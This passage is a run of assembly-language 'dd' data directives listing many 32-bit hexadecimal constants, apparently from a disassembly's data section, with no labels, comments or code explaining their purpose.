dd 8F1F007Bh, 5445B89Dh, 0AEFD2B00h, 8C264484h, 53660AF9h dd 3D3C3E05h, 0A307C244h, 10BC36DBh, 1D5C8EC0h, 65820087h dd 2F1E301h, 4D00F45Eh, 0BFA7E986h, 0C672808Fh, 51EF9381h dd 0C062A900h, 7C5F95EEh, 1C2249F4h, 80A7A610h, 47E83472h dd 11B7BFDh, 24296DDh, 136F61A9h, 4E0A9030h, 8E7EF1h, 0E059A07Fh dd 5A2A8778h, 0C1A8032Ch, 0A45315h, 6B128D14h, 96B46Ah dd 31EA2881h, 0A3A2E564h, 22CEE31Dh, 60C6BF00h, 0FA96C9h dd 316D6EF3h, 4B77F992h, 4446EC14h, 912F05D0h, 6C086682h dd 0CF3080FBh, 0B1E28D43h, 0B8268C05h, 0CC20978Eh, 0F3325A7Fh dd 608992CCh, 412B9902h, 0B10AC59Ah, 885E50E4h, 397A3C1h dd 80278301h, 52C2CC31h, 0EE588FC8h, 0B8D90076h, 538A3497h dd 8209957Bh, 180E2A75h, 0C0FC93C8h, 0E770BDA1h, 4405194Bh dd 628B8848h, 7B8E9447h, 93CA3240h, 528F016h, 842A808Dh dd 1F704F02h, 0E7980E80h, 0E53A22C9h, 478C9FD5h, 462E68B2h dd 0C6260414h, 0C0913601h, 59D86250h, 55F94D00h, 4E90E799h dd 84DEA0FFh, 2901E05Fh, 0AB948B91h, 0EE5306B0h, 1E538122h dd 33E226Ch, 0BEDA557Ch, 2AE0A6D9h, 9C3CCAC5h, 0E8F40789h dd 48814194h, 8E4083AEh, 0C440BBC1h, 88DD26F8h, 0D500FACCh dd 139B6B6Ch, 79DB64h, 813B5E5Dh, 667329EFh, 0DC1E6E03h dd 5048B445h, 4527E080h, 2DF8D3FAh, 9331E458h, 0CD5099F1h dd 0A7AAE0h, 67741924h, 21209518h, 689BFC7Eh, 5A83E780h dd 14B77A3Fh, 88998EB1h, 0ECE48088h, 4F0208CBh, 11FB434Bh dd 0D56E7FE0h, 18E4F648h, 0E0A10B83h, 36120938h, 0C0800351h dd 196EF031h, 23703248h, 78300074h, 0B08BF1E1h, 789980F8h dd 0D3B2ABE0h, 82E100AAh, 0EC98F835h, 0B7122263h, 0D822DC7Ch dd 0B29D8936h, 23BC0220h, 75202C19h, 80740684h, 367AC9EFh dd 14222828h, 0D6FA3106h, 90D8F3D4h, 4CEF108Ch, 3B2A0261h dd 4C83817Fh, 0DA311148h, 4EA900A2h, 77B07EA7h, 6CD00554h dd 0C0976FE1h, 4176194Ah, 0CD05F901h, 0DE0EE75Ah, 8335D9EBh dd 9329C826h, 30FE00BCh, 7A38FDC3h, 0B52A731Dh, 0A840140h dd 14D925A6h, 9460E81Fh, 516F8780h, 3D030844h, 1D555436h dd 30B6FA6Ch, 0E00369FAh, 78A37F79h, 6081BA5Eh, 8080BAE4h dd 0D099AF36h, 903D1D82h, 598520FAh, 0BA3BB79Ah, 4DEB8E8Ah dd 0A8020477h, 1168C0C2h, 0EC4110F5h, 0EE1200C1h, 0AE44894Bh dd 790CAAD4h, 601914DFh, 40814891h, 3DC060D2h, 7950B276h dd 8188C1D4h, 1450407h, 8C4C3B4Bh, 0EC936424h, 81017028h dd 90255BDBh, 18106ED6h, 7F2C5889h, 0D30A299Dh, 3E115863h dd 15E4990Eh, 0A33D2320h, 34C9AD8h, 5D5F001Ah, 13A4D654h dd 16AD2467h, 19326154h, 724832CEh, 68ED590Fh, 0F8E1C03Dh dd 3E5030Bh, 6F6453EAh, 0CB801DC7h, 0C4B3407Fh, 418EDA0Ch dd 0BD9A002Eh, 31BED490h, 0C015A87h, 409C4E3h, 3440D0A8h dd 329109Fh, 0CD1DE679h, 1E90B90Ah, 0B30207FEh, 0D91B166Ch dd 0A2EC840Dh, 6C163D49h, 0BC5B0D2Ch, 522539E0h, 0C5700C6h dd 3E17B6Fh, 8003FF8h, 0CA7A6CDFh, 4CB088CBh, 0D78228DCh dd 0A0A0F993h, 361666Bh, 8CCB4803h, 0E0C81D10h, 910FF105h dd 0ACEC20B0h, 1C9A4800h, 0E0AD6FB1h, 5413C51Ch, 3B095B02h dd 9038B2B1h, 895428F0h, 0F47261h, 9FD657F1h, 2488211h dd 0DC7A727Ch, 6103814Ah, 9529076Ah, 7004E6DBh, 0A9D2E594h dd 0B084C200h, 0A367EF8Dh, 0A1BE2E2Ah, 4FE960D4h, 29021BBFh dd 35EE1EE0h, 0CCE8C297h, 0FA1D0768h, 60C79294h, 0F39FF10h dd 11F18F0Ah, 6911545Dh, 884C800h, 14E37DA0h, 5C6EDD0Fh dd 0EF6B41A8h, 94261BB1h, 0AC9A4002h, 98E14D24h, 82DF1716h dd 936F0432h, 9131C18Ch, 9B48A462h, 90050800h, 1665422Dh dd 89C499EAh, 3CC0201Ah, 4CF11969h, 18C994DBh, 53A61C04h dd 42F10408h, 70000390h, 0AA4FB6h, 0E7242AEEh, 81B5535Ch dd 0E365CA0Bh, 0D73819C3h, 0D2C7C000h, 2A82CF18h, 624469h dd 868E3EAFh, 11378384h, 97D35A02h, 597441EAh, 0AADA8900h dd 0E2755020h, 72001349h, 469ED1D0h, 48A2352h, 0FFF37B0Fh dd 1170A62Bh, 7C490DDBh, 79F8E202h, 58C488B2h, 0B3553E0Eh dd 0DB7C4585h, 9BCC7001h, 2ECC16EDh, 45670307h, 0EF66D139h dd 2841DDE2h, 0F053104Eh, 0D4638236h, 61225BE2h, 38B4A06Bh dd 8E5EA3h, 4E416F37h, 34778B58h, 45E7BA01h, 0E928E4B9h dd 2D072863h, 0C0FC031Eh, 716127D2h, 0A60549C0h, 123ACEC6h dd 61FD451Fh, 51D47410h, 68602A7Ch, 78612C74h, 579DDC2h dd 71382729h, 0E86F032Bh, 3149195Eh, 2E8386D0h, 0EF160ED1h dd 0FFE0445Ah, 3435BE8h, 0F24F0E00h, 0D13EC074h, 25A125E3h dd 68000816h, 0C94AF1CDh, 246F6344h, 102CAEF6h, 0A9A48C25h dd 7B5EAEEh, 0A3D33456h, 0A1425EAAh, 0C446CB16h, 8BCE6E04h dd 74C01C3Bh, 0E0BEAE37h, 2034B859h, 734631B5h, 2883680Ch dd 0AE00E2C9h, 3AFF5D81h, 2EA3B7C8h, 5A3B9Ah, 0DDFB19A4h dd 8E041810h, 27F183B4h, 0EE53A0A4h, 81B1CB17h, 5066EC89h dd 0F4B2202h, 6CF8D875h, 7F400954h, 146020A9h, 0E991D0h dd 435F04h, 0E16B38CEh, 0D6776569h, 9809352Eh, 6021A19Dh dd 33E17366h, 4237AA00h, 7B8E8280h, 4420B976h, 0C97340EDh dd 3548AEBh, 0E8EECF41h, 0ECF0928Bh, 7D3A5FFCh, 581D294Fh dd 478C824h, 0D84F00E4h, 7AC8E7BFh, 79EC255Ah, 0AD1DD0B1h dd 0FF882AA2h, 90520F98h, 8627A80Fh, 6C8BF0F2h, 0F84DBFDEh dd 0FA4F8798h, 5A82DBF2h, 72DD3BA0h, 8A1B3880h, 0B5BDB4A4h dd 0F3F52403h, 0F009832Fh, 30BF2927h, 0C5A96C60h, 0B325FE8Eh dd 31201807h, 0C4E89681h, 0A08D4E73h, 161D5D9Ah, 0C42513C1h dd 0CE844F7Dh, 65001AC8h, 0D26B2368h, 0E78207D4h, 0B00C3FCAh dd 0CDA1BFB0h, 17665D07h, 0B9BC23F1h, 40EE4F53h, 8D288240h dd 844B2BACh, 87E42030h, 8040057h, 55DC0D4Ch, 0CF00F89Eh dd 141CA45Ah, 4AD72F06h, 1DD83019h, 88487618h, 835B83C4h dd 0C0DEB039h, 0D1A1009Eh, 0A772116Eh, 0B7FAB004h, 0D9DA972Eh dd 4151D700h, 3B2B1B87h, 4701E25Ah, 0F118CF95h, 51C86329h dd 77F8D95Ch, 719A11CCh, 34A66913h, 81349824h, 1B5EE100h dd 1A4CEAA3h, 0F9DE264Bh, 12A91B0h, 2E95E065h, 1DC49E3Ch dd 0F7380201h, 840B9FF8h, 2AC49482h, 0A57A6901h, 80916985h dd 6F40086Eh, 94D8E644h, 1DD8A4DBh, 0C04A08AEh, 0B75C3652h dd 5000D5F1h, 7955AABFh, 71C34529h, 9C700410h, 8C60F4ABh dd 14938398h, 873A6691h, 0F7291809h, 3A744482h, 0CB1F0640h dd 21E7D25h, 99988E50h, 0B837A394h, 2AC1E521h, 872821Fh dd 4CF16707h, 0CB62F39Fh, 932842E0h, 22D04D00h, 44812653h dd 0E1E60356h, 51BDE92h, 94C8A4FCh, 0C5A0A21Ch, 0AA0B5C44h dd 61274CA3h, 5E1388A1h, 0B82ADCF8h, 0F0FC1C04h, 40A67CA9h dd 900BA222h, 81F91C2Fh, 0B4D2087Ch, 62D0B470h, 9E8021A4h dd 7A585860h, 0B6CDA905h, 8881D107h, 78815B81h, 41AE05FAh dd 0D8E04861h, 0A3378700h, 5AB8E517h, 0F305090Ch, 0A46E1BC8h dd 0D0B9750Bh dd 549A82CCh, 3064E4FAh, 6F81A3D9h, 22023FC3h, 0FCB9C6D8h dd 0CBB4E053h, 9AD21459h, 83D54DBh, 3279C400h, 97F2F634h dd 814F6A00h, 0F3FBEC41h, 90E92436h, 98040CCh, 9B00A050h dd 651723A5h, 0B53F28h, 2C252194h, 0BFE904C5h, 5C40802Ch dd 134FC43Dh, 703A4B9Fh, 99A269C0h, 9118F49Ah, 93315DD6h dd 4A39C028h, 0AFE610B2h, 7F22EB01h, 0DC0FCFAAh, 0CC5D5CE9h dd 0C33C4862h, 0E3BE2580h, 16941D95h, 31DB1E02h, 0C9B129D7h dd 20106690h, 0E83A301Ch, 552C009Dh, 0C7A8C6FDh, 0AA160471h dd 93B1EF81h, 248A284Ch, 933090E4h, 0A090A1F3h, 6ADF0023h dd 8447CCBDh, 1024AC0h, 0EA300B9Bh, 78106136h, 2A30E614h dd 830B74CBh, 49988C2h, 188119F1h, 50F86645h, 0F1541B04h dd 88FD29ECh, 9C00258Ch, 97728B38h, 1B2ED53h, 2698D2DBh dd 0CCD81141h, 2949CB05h, 848893E0h, 30560052h, 0F7E4CC26h dd 61025AC6h, 66F825Dh, 0A7945142h, 6AFB7490h, 2007891Eh dd 0C8A33000h, 0F778896h, 355AEA10h, 0CB217E80h, 0ACB1E62Ah dd 18FA2805h, 7B1B9C20h, 4A924ADCh, 7214F108h, 5A839438h dd 0CE048D1Ch, 8E084C3Bh, 1B80BDC1h, 2571A43h, 0B08F00BFh dd 5E150C70h, 110BFCA2h, 106140B6h, 8ADCD4h, 2725CD1h dd 7F74A1A5h, 7D92E407h, 0F632AB13h, 440C6C20h, 85003669h dd 0D78F2D2Eh, 1B7107Fh, 0A3ED829Ch, 4CECD9A8h, 0C40115E4h dd 181CF9EAh, 6470AAE2h, 495BB877h, 2983585Dh, 0A8E1FA3Bh dd 6C42462h, 0AD577119h, 175DB0h, 4A2D6D2Bh, 0A8E4D500h dd 0EAE0B215h, 39449842h, 0ED17F8B1h, 0E09495h, 0C727761Ch dd 8660FD15h, 239B9E90h, 8B0C001Bh, 0F7410EE1h, 18038AA0h dd 0E091DB64h, 10E4BC8Eh, 27C507DFh, 3F11D563h, 69247440h dd 1805B3EAh, 0F3F93F83h, 0BC9584C5h, 15F8F404h, 54B18249h dd 0A06719h, 0E96B4E11h, 4827F0D6h, 22DEA853h, 8728DD02h dd 424BAD13h, 16184504h, 731C22A8h, 74A2B0CCh, 0B8644CC0h dd 0D8678500h, 7602DB93h, 20E49040h, 909473F5h, 0B282640h dd 1F541EB1h, 0A753806Bh, 6A3E6012h, 57FB1909h, 0B08C4C4Ch dd 0CD5B01D8h, 60FCE4D0h, 0C8F1FCD6h, 0A0F0181Ch, 5AD38DC0h dd 0F82CBDh, 9C124A41h, 5A483F5h, 0E148D400h, 6696C4EFh dd 0E2CF0390h, 10CCC1C5h, 0F3AD3900h, 0BADED8F8h, 0FE710Ah dd 8294D076h, 0E4830796h, 5ABEE700h, 44CF8DCDh, 3CAD07F2h dd 11610931h, 0E5DEB6C9h, 0F10301Fh, 0DCF09Fh, 805B9273h dd 6DC33958h, 0ADFB7203h, 63164DCh, 5A3D348h, 955C808Eh dd 735D02B4h, 808C75ABh, 2578CEA5h, 0E6620185h, 0C7283326h dd 5C1D8CCh, 0FC39046Dh, 33CD0883h, 66A003FBh, 0F41E9AC2h dd 39079709h, 0BDA05EC7h, 98017FB2h, 9EFA0122h, 1A70B916h dd 0FBEAC025h, 0B303543Dh, 80A8B864h, 0C2E909FCh, 0CF01C0F1h dd 88F094A3h, 0F6237100h, 91407C95h, 13440B37h, 7083F939h dd 7781E9ECh, 985BEC8Bh, 0CD53ED03h, 12594FF3h, 0CCF660h dd 157CAD17h, 69DCC0EEh, 0FC7FE800h, 0E35302h, 0DADBFA04h dd 0E2315B77h, 0CBD0501Fh, 4C52D4h, 93BFF73h, 2695FE1Ah dd 36AC303h, 16CCC085h, 728B17Dh, 0F95618E5h, 59261F74h dd 0DD39280h, 7C833F7h, 1364FE65h, 235A80D0h, 7600D22Bh dd 5FFA6D15h, 36652C7h, 0E9F1A174h, 691F12A3h, 7C40ADB0h dd 0D605E17Bh, 9CBF01E4h, 65DD585Bh, 0FAF85184h, 0C54F2074h dd 0A48B8F98h, 0CC8472E2h, 5CDC43A1h, 14314C59h, 0E0705844h dd 2D6303AFh, 10DDF646h, 48E5AEE9h, 8A03A388h, 0C2235E21h dd 5888E480h, 0D73E3D98h, 0F613573Ch, 0F700EB8Fh, 0AC02566Ah dd 2872006Bh, 752C7652h, 0EA520DFDh, 0E060098h, 0FBE437F7h dd 5B722934h, 5FB58188h, 20794305h, 8D0EE590h, 7E8F8A03h dd 85009A2Ch, 726AC5EFh, 6C30C1BFh, 22FFCDC0h, 0A0D38B8h dd 84A6F795h, 16734880h, 1F6D4581h, 81A1E5FFh, 0C2E2628Ch dd 0A900FBD4h, 0BE0A61BCh, 52B16AFh, 0DD7CB8A4h, 61B9C5E9h dd 0F204FED8h, 0AE007327h, 0E06E216h, 0FBD2C76Dh, 210B1833h dd 0B8A84E0Ah, 8C00428Ah, 1CFD9712h, 0A046BC0h, 0C207BA87h dd 4717E4FCh, 9731AB7Fh, 50205647h, 5D663CAFh, 0FB76AC0Eh dd 0F8E56A02h, 0C3EEEC83h, 5343711Ch, 89B75F80h, 0B1AA61h dd 1D8B88B9h, 6E641697h, 9C69BA29h, 48F6C0B2h, 7FB8CDF8h dd 0B6B400DCh, 63B5AF9Ah, 0C713565Ch, 5B001908h, 5889CB45h dd 71C260E7h, 1103D3DEh, 0A059F200h, 0E5EE36FFh, 1D60F86Ah dd 0D27B785Ch, 0D7C430AEh, 7400DF7Eh, 198F8258h, 0EC3DA7A8h dd 9B765CE2h, 0EE180457h, 7BC239E8h, 0FF04A876h, 3E2A4AD9h dd 35AD108Ch, 0C29EBEEh, 0F8EA2D42h, 3036BD07h, 9CB00E19h dd 26E6CBF9h, 47CCA170h, 5E756088h, 7975E471h, 2A005748h dd 9D00D881h, 6BEC7413h, 0F2B440h, 6A76C028h, 0FDBEF305h dd 68E18201h, 0A1694DE7h, 0C1EECD00h, 6ADD89C1h, 0D8E30F8Bh dd 1EF375Fh, 763616A2h, 2165D27Ah, 0FB288208h, 68DDCE23h dd 88D70428h, 0FC63DAC0h, 87F0A9h, 0A03A7361h, 0DC98A8B0h dd 7D3EB200h, 568DE160h, 0F2050329h, 0D3934DE9h, 3BC9143h dd 0F9D9A9DFh, 983D9022h, 0C7781CE9h, 41021C36h, 0A6056BB6h dd 8CA844DBh, 0A30038FCh, 0FCB6AF1h, 1C3DD75h, 64087845h dd 0D5EF2744h, 60202639h, 1602DFEAh, 3DE3E675h, 69847282h dd 829F4847h, 0E620DC54h, 0E8293ABh, 0AE4BD33Ah, 60907A00h dd 58045AFBh, 0F69E2276h, 7DE088h, 7266102Ah, 69D1B7E3h dd 0FD2DFB00h, 0E3A7B83h, 0E300986Fh, 4ECC4714h, 0C38470h dd 0F76E536Dh, 618703F9h, 5172A230h, 5BB32010h, 0EAD9C00Ch dd 0F5077341h, 67ADEF01h, 44300E8Bh, 961F3162h, 0E5AC20A8h dd 9A7E6AF9h, 76379000h, 0E763FBA2h, 0B2AA163Ch, 0D7100091h dd 716CD84Fh, 6F280612h, 0D9F62005h, 15E7B470h, 0B03700DAh dd 35813F19h, 2133CDFh, 44040764h, 0E4C15E62h, 6C60B4D2h dd 208A03BEh, 0A22C63ADh, 0A043CC80h, 6490BC90h, 8CA128A4h dd 0D2A117EAh, 0CF099CFh, 4C5C7779h, 0E0008A2Dh, 8B76D17Ch dd 960ECD60h, 98674DD3h, 0F88AB999h, 11FCADh, 0E801D27Eh dd 400E0CFDh, 7376C4A0h, 0D6681A06h, 1D901B4Ch, 1BC1C2Dh dd 4E4C652h, 0CBC2172h, 83540AA0h, 7802ECD4h, 3524E0D1h dd 0C28C8263h, 16AD03D8h, 0FCA59A81h, 90488BA4h, 5C768030h dd 0BADCD695h, 2E09099Ch, 9C801AE8h, 1DF80CFAh, 0F5EE0800h dd 32D0DCF2h, 1F75E072h, 306DF116h, 17116F98h, 3A017304h dd 34D2D8E7h, 5B8129DFh, 0D8494216h, 83002E34h, 59A0BA0Eh dd 504E8201h, 58DCC09Eh, 5383A46Bh, 0A116AAEFh, 0A7F8388Fh dd 57089200h, 0EB497007h, 0FFE18301h, 75FCDD99h, 5C12A831h dd 74864A3h, 0BEA0EB61h, 562831DBh, 0FFB4F005h, 52B11206h dd 3029CB9Ch, 1C71DCF0h, 0D90003E7h, 0DFDE3E5Fh, 70106Bh dd 0D766BAFDh, 0D6C096E5h, 30774A26h, 80D21188h, 0E395F4FAh dd 2CA0C553h, 0E401B26Ah, 8FB1B305h, 0AD0EB01h, 5CE9C082h dd 1D3B8AD1h, 0B069FF01h, 0E6EE0F39h, 0E1465187h, 8F143034h dd 0F3140EBFh, 202CE984h, 13EB44E5h, 0FB01FAE8h, 6973B9AEh dd 0F432E70Dh, 4A9F3001h, 0CD5C6F68h, 3E4C30EDh, 25FEA040h dd 1C12EB5Bh, 83AD3004h, 0A97C1460h, 2898BB57h, 5E44D8ADh dd 5230C0FAh, 7C0242BAh dd 0BB4DFC00h, 61E9F320h, 0A2618E4h, 941E20AEh, 6846E600h dd 6FE00CBBh, 25FA0071h, 0FBE7B931h, 0C872599Bh, 0B3B1A900h dd 0A06F0BF6h, 0FEAEECB4h, 0D4F552FAh, 8FC31Fh, 24287AF9h dd 6300D7A6h, 61CE0B41h, 35785Bh, 21096C52h, 6BEEF0E6h dd 0C1918200h, 0D5D21AB1h, 0D9AA0356h, 0DEAEC4F5h, 0F60146E0h dd 1A0908ECh, 6CE54Ch, 55CBD874h, 73B300BCh, 0C34DF970h dd 42002136h, 9AA25269h, 3E726Fh, 3AC701EAh, 0F955C368h dd 20AFAD30h, 5D0F6727h, 1380FC1Fh, 4D2990DBh, 168C1003h dd 0C0FD6324h, 581DFB80h, 6600D86Dh, 95C52D5h, 0FE3ACCC7h dd 3CAF830Ah, 9E4D168h, 38AB5249h, 0FE85550Fh, 12F82509h dd 0E4DC2050h, 0FF268976h, 9D049454h, 1291BAh, 0C7585C2Ch dd 8A16D01Ah, 70286794h, 0A0BB006Eh, 5DD1A8C6h, 62006FF1h dd 0F42C052Ah, 240B0490h, 8F00AD3Dh, 7F0CCE38h, 4800A579h dd 0C057124Ch, 1DA1C883h, 18727DDFh, 0E0F99FBh, 0CF00EA72h dd 84FC9177h, 6E3C6529h, 995F90A7h, 146015h, 0A1D7954Dh dd 1D10D450h, 1B006A26h, 8AE55109h, 7E28EC3h, 0CC2884CEh dd 63E8A046h, 0D3328B73h, 400348BDh, 0F2EF94h, 0D9C7A28Fh dd 91739A2Ah, 0C6100E03h, 7485F068h, 0E97A0169h, 874BBE51h dd 0F915F9C8h, 24C32F0h, 0E21448E6h, 0A06B6045h, 80310011h dd 6E08F8B3h, 820037BEh, 6BBA9447h, 927C6DB5h, 0D90D22B8h dd 0D7E97313h, 84529430h, 89ED0058h, 0C23AC017h, 1A01FF99h dd 9170F966h, 0B0508C0Ah, 0DA594Ah, 0C60E3872h, 81866EC1h dd 6713CBE4h, 0F01EB94Eh, 68DC2462h, 9418CBD4h, 19C0380Ah dd 0A81E30E2h, 39350089h, 4E561425h, 0B7017910h, 5D86F7DAh dd 0FC356D65h, 7A7A6CC0h, 418BE7DCh, 2818964Dh, 0F50C0199h dd 2185290Fh, 9ADC12D9h, 0EC81D68h, 0DD838C6Ah, 21124D5Fh dd 0C4011A3h, 3FAD37FAh, 38DF0AD8h, 79471C2h, 1076201Ah dd 725548E0h, 9120545Dh, 0F4130064h, 0E2D6C897h, 0C3250047h dd 5F82BE3Fh, 0A10024E1h, 0E8FEFF8Ah, 58026A03h, 0C86454C9h dd 0B48F2384h, 60400C5Fh, 9500F519h, 0E20197C5h, 0FCFD07h dd 4F5C6DABh, 0F99B8068h, 0DD44F090h, 0AB7200D9h, 6F8E2E1Bh dd 980A100Ah, 2866DC6Ah, 1674F000h, 295400Dh, 917D06Fh dd 0B060649Fh, 6A5052DCh, 0DD446948h, 0D630A0EEh, 593E1DCAh dd 4CAB43B2h, 81DD7644h, 42CEF24Dh, 0D2089ECh, 638C1Dh dd 1732A53Ch, 0CAAFD2DCh, 0B60E2607h, 0C17293D1h, 8C184367h dd 74C9152h, 0EB080A5h, 0FBE43CB7h, 0D8A40Bh, 35CEC2B8h dd 0FE65707Ah, 5300FCE4h, 2F14180Ch, 6D0CC8Ah, 93CA790h dd 7507426Bh, 0F5619DE1h, 18B0A83h, 0D4FFC749h, 0CCD75DFCh dd 42005648h, 6CE38F96h, 3058A3DFh, 0E008C4B7h, 80A8D5E7h dd 0D0170AD3h, 3E0246B4h, 6065EC0Bh, 6F80D9h, 0E8A9D88Eh dd 345C94BFh, 27110900h, 6C6EE185h, 6A40C744h, 0B4EFC414h dd 3500962Ch, 72265CCh, 77E669h, 488FFCCAh, 137DA10Ch dd 0A1E8A0Eh, 969689CEh, 9CFD0744h, 0EE14E422h, 30EADA80h dd 0E001786Fh, 9383F93Eh, 6831F251h, 64CC08h, 0C8C3D7C5h dd 7B79976Eh, 5DE87A07h, 47411968h, 0D030AEAFh, 8AC83E76h dd 9276A93Ah, 0C46C5914h, 31286492h, 301936FCh, 790E8FD2h dd 0A04B499Ch, 402B6C50h, 0D88C01F1h, 6411BC4Dh, 24C0CA9Ah dd 0C0014962h, 53ECB087h, 118A60C3h, 0C14C468h, 0F461860Ah dd 65610600h, 6A670789h, 0B1D6E679h, 0A164004Ch, 36DF0415h dd 0D70EC11Dh, 0E094AD0Eh, 73BEAE81h, 414D00F3h, 11EA8BC7h dd 0C400F69Dh, 6959C3CBh, 0B86EA247h, 965D7D64h, 838ACA0h dd 5783605Ch, 1D1FEC7h, 0D68FB71h, 698F95B3h, 0E801797Ch dd 0AAA64D3Bh, 0D0E1A9D2h, 575D0840h, 8C6D58C2h, 0E7EE2B0Ch dd 71021949h, 8A316AEBh, 97802F7Bh, 76553072h, 0F7FEF600h dd 0F49B986Fh, 0D18500D7h, 0A4D8C44Dh, 0CA0F036Ch, 62B9AD5Ch dd 400F9617h, 0E646559Ch, 0B1927188h, 0C8B60038h, 0FAEB289Fh dd 89F622h, 0AF210C06h, 84900F72h, 37346100h, 3B0EF773h dd 0CE80A2AEh, 0A61200B8h, 0B5106D11h, 8700BB36h, 70D69DF9h dd 314268Bh, 5F2ED986h, 0C294F8D0h, 1C432840h, 0A4E6FBC2h dd 97D66207h, 0F1B18560h, 3930A2C3h, 2E3E0927h, 0E8A0739Ch dd 0F29B943Dh, 2584E550h, 0C88F3Fh, 9A95D810h, 4C1F5753h dd 3C87F80Ah, 7ED6D026h, 0C7174ACEh, 5C0467F0h, 0ECE2684Dh dd 3B201D8Fh, 0EFCA4F8Eh, 6114E100h, 0B3900106h, 0FF101DBDh dd 0C7DA8587h, 0E8F02091h, 0E4A86BE0h, 0F10A7252h, 0C08C5817h dd 83905002h, 1938E176h, 670F0D10h, 0D500DDE8h, 0F21D821Ch dd 560B677h, 0BF9190DAh, 0A6ACCCF5h, 0AF3FD50Fh, 53CF01EFh dd 11848B9Eh, 0B25FDCC6h, 0F0700954h, 7494AA71h, 97B8102Dh dd 6C207F5h, 0C3FD17B6h, 93E1E262h, 3CC2EEDFh, 3DB5EC82h dd 522C452h, 10EF05D2h, 90E74A84h, 0CE266750h, 0CA14B4B9h dd 213C05ECh, 64D0F995h, 26EF904Bh, 420C9953h, 688ED668h dd 0BC0784CBh, 0B1A4C0FBh, 7CBAD771h, 0EC921A1Fh, 3000F812h dd 6DD8C138h, 0ADF61472h, 0E960BC16h, 10B1A303h, 5B01F0A4h dd 0E7736DCBh, 0F9D093A9h, 0A7609C0h, 300BCC79h, 3800F064h dd 2D06BDC7h, 0BC859Eh, 3F24F01h, 9A23FD6Eh, 948C1924h dd 2716BF05h, 91573000h, 2848C742h, 89C0F090h, 8C0CCF6Ch dd 0BCA17380h, 998B8220h, 0F3E02166h, 0AD01F976h, 5977536Dh dd 9840A1C0h, 3E49C78Ah, 9721F190h, 34CAD090h, 64202Ch dd 0C27EF781h, 20B9DB56h, 0AA4FCD00h, 0C8280678h, 9CB047Dh dd 858FFE24h, 0BB1884F4h, 21309611h, 291490C4h, 0E100B00Ah dd 7D699FCCh, 73DB0E9Bh, 2060A8E3h, 1D787403h, 612E3202h dd 70A9FA28h, 5A39C2E8h, 38489FF0h, 9D009837h, 0C2BAB717h dd 16264A2h, 795FB486h, 887596E3h, 0C0B6F140h, 652D76E1h dd 8F48517Ah, 73810008h, 0FB6A21D7h, 8164B9Eh, 0AD80D128h dd 613AA4CCh, 3A95F860h, 4A7A6F46h, 64001406h, 0A5CD522h dd 21AF8018h, 155C54h, 8A58DF3Eh, 44A7EDD9h, 73227C0Bh dd 104E0BFh, 0BCF08A17h, 1CFB6044h, 70E1CBh, 2316F4FCh dd 949EED8Fh, 663F1D01h, 0A1CC8CC8h, 0E9F20D03h, 0E44914A3h dd 50659E0h, 0A60E11F9h, 0FBF61E21h, 6057580Fh, 694F8AFAh dd 299ED05Dh, 22B4F555h, 0B3E40AE8h, 50A170h, 0D24DFEDDh dd 5F021B37h, 0FD1F0805h, 3B906082h, 0AC9A1643h, 0A290C4B4h dd 0F746398Ch, 0A6AEDD00h, 8580B0CAh, 953E16ACh, 0E080C0EBh dd 0D11C0E5Bh, 5246E96Ah, 1C998EEFh, 0FDAFD039h, 0D768F800h dd 4832816h, 61B4EF00h, 0F01194E6h, 8B1B00B8h, 0AF63DCD9h dd 16FEA7BFh, 783CDE00h, 9BEB51C1h, 0DFA20052h, 68839449h dd 0AD02EABBh, 55CA3128h, 918CC0AEh, 5DC01E75h, 40C026C8h dd 0EADBC77Ah, 3158B100h, 0D98DD36Fh, 0DA5502F0h, 6ADD0420h dd 0A32A5C52h, 0F8009418h, 0CCF4EFF1h, 1E367759h, 982139h dd 5B7E3E72h, 0E1308A5h, 0DCC2FB16h, 64B020FDh, 0EF003A8Eh dd 297133FCh, 4C60BEB5h, 88403020h, 0A0A21282h, 16D890F6h dd 4D05710Ch, 200E039Fh, 0E240E827h, 0B808CE01h, 2CA09648h dd 562F5098h, 831D1800h, 0CEBB40B8h, 905D01F8h, 2CD69F07h dd 67482082h, 2918544h, 5E5F35E9h, 585408FEh, 2B7DAD60h dd 0F7DA375Dh, 74D2C081h dd 414BDCC2h, 1E2E7828h, 16D0D557h, 0CC7A016Eh, 44FF684Ah dd 6D08A0B4h, 4404C024h, 0F1087340h, 834D318Ah, 236BDC61h dd 0FC0B4E94h, 7F464FAh, 2D2DF5Fh, 5D564015h, 6C00F480h dd 0DEBC704Fh, 0B89A820Dh, 0A26F0584h, 0A216FC99h, 0FE410268h dd 0A45BAB1Ah, 0A9408498h, 4BB49B80h, 59C83809h, 0CC758349h dd 0A2989042h, 920A002Ch, 0D9B9F871h, 80A05DABh, 0FA888264h dd 0AECE004Dh, 529E20AAh, 8A009D99h, 2AC834B3h, 3AE48D68h dd 9A0269DFh, 0CECFC06Eh, 33F6C02Fh, 0E69DFC72h, 0A7941611h dd 0C19421D2h, 904D00CFh, 80B8B68Fh, 46079B99h, 0D8B82B3Fh dd 0FCF5307h, 152012A8h, 1019B4h, 0F9DBF5BDh, 0C3A27ECCh dd 1B0C748h, 540FC106h, 7864E701h, 2C630062h, 0DC6F25A9h dd 1A4CFC9Ah, 0C2FA8078h, 0D4BE7E6Ah, 0DC854090h, 4E18C83Eh dd 8B66DA00h, 0AD76E8E4h, 0D64D07F1h, 801C2EA4h, 73DCA152h dd 0E4D5A928h, 0DDDBE91Dh, 0B763FF00h, 0F61D0Eh, 22F0EF4Dh dd 71F8A20Fh, 8BC76700h, 52984F43h, 7C9502C6h, 0E83DF0B2h dd 97289CC0h, 0CDE0A207h, 0AF049AE6h, 6E0178A2h, 0E53E6FEAh dd 0C079A2h, 749A555Fh, 1E4EA520h, 40793C9Bh, 0D273CC57h dd 7B1698B7h, 0F800582Eh, 18E89B11h, 0FBF9139Fh, 0C8509508h dd 69048E04h, 0C81DD821h, 0FB322CD0h, 0A305002Dh, 25F99D90h dd 0BD009749h, 795256B5h, 0E38901B9h, 2C7AC840h, 4C6848B3h dd 70AC840h, 0D75D7833h, 4FF8F0DBh, 0BE01AF18h, 99224783h dd 0D6F81080h, 0E88758FDh, 8140F500h, 0C1716A79h, 0A9524E00h dd 22BF12F8h, 9BC80495h, 0B7DE7C8Bh, 0E64B00E8h, 0E2C24E45h dd 0ADCF0062h, 0F0CCD7C3h, 0B3035468h, 37762AD5h, 0F575801Eh dd 8036144h, 0CCC8AC0Eh, 159A136h, 0FE2244h, 9ABC24FAh dd 1F61D25Eh, 0D9435D00h, 76EE30F2h, 5894488Bh, 28958A80h dd 0B01869B6h, 59D0C261h, 0D1D0006Ah, 5290F098h, 